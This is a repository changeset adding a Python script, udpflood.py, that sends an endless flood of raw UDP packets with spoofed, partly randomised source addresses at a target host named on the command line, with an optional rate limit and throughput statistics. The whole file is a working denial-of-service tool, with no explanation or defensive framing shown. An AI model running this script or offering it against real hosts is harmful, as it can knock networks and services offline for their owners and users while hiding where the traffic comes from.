udpflood.py
changeset 0 8f3d13f47404
equal deleted inserted replaced
-1:000000000000 0:8f3d13f47404
       
     1 import dpkt
       
     2 import ipaddr
       
     3 import os
       
     4 import random
       
     5 import socket
       
     6 import struct
       
     7 import sys
       
     8 import time
       
     9 
       
    10 IP_HDR = struct.Struct('! BBH HH BBH 4s 4s')
       
    11 UDP_HDR = struct.Struct('! HH HH')
       
    12 
       
    13 def udpflood (dst, rate=None):
       
    14     sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
       
    15 
       
    16     daddr = ipaddr.IPAddress(dst).packed
       
    17     dport = 1337
       
    18     ttl = 64
       
    19 
       
    20     t0 = time.time()
       
    21     t1 = 0.0
       
    22     count = 0
       
    23     size = 0
       
    24 
       
    25     while True:
       
    26         saddr = 'ABC' + os.urandom(1)
       
    27         sport = random.randint(1, 2**16 - 1)
       
    28         
       
    29         # UDP checksum is optional
       
    30         udp_hdr = UDP_HDR.pack(sport, dport, 8, 0x1337)
       
    31 
       
    32         # IP checksum is filled in by kernel raw socket
       
    33         ip_hdr = IP_HDR.pack(
       
    34                 0x45, 0x00, IP_HDR.size + UDP_HDR.size + 0,
       
    35                 0x0000, 0x0000,
       
    36                 ttl, dpkt.ip.IP_PROTO_UDP, 0,
       
    37                 saddr,
       
    38                 daddr,
       
    39         )
       
    40 
       
    41         pkt = ip_hdr + udp_hdr + ''
       
    42         sock.sendto(pkt, (dst, 0))
       
    43         
       
    44         # stats
       
    45         count += 1
       
    46         size += len(pkt)
       
    47         t = time.time() - t0
       
    48 
       
    49         if rate and count % 1000:
       
    50             over = count - t * rate 
       
    51 
       
    52             if over > 0:
       
    53                 #sys.stdout.write('.')
       
    54                 time.sleep(over / rate)
       
    55         
       
    56         if t - t1 > 1.0:
       
    57             sys.stdout.write('%8.2fs: %8d   @ %8.2f/s   = %8.2fM @ %5d/pkt\n' % (t, count, count / t, size / 1e6, size / count))
       
    58             t1 = t
       
    59 
       
    60     return 0
       
    61 
       
    62 def main (argv):
       
    63     prog = argv.pop(0)
       
    64     dst = argv.pop(0)
       
    65 
       
    66     if argv:
       
    67         rate = int(argv.pop(0))
       
    68     else :
       
    69         rate = None
       
    70 
       
    71     return udpflood(dst, rate)
       
    72 
       
    73 if __name__ == '__main__':
       
    74     sys.exit(main(sys.argv))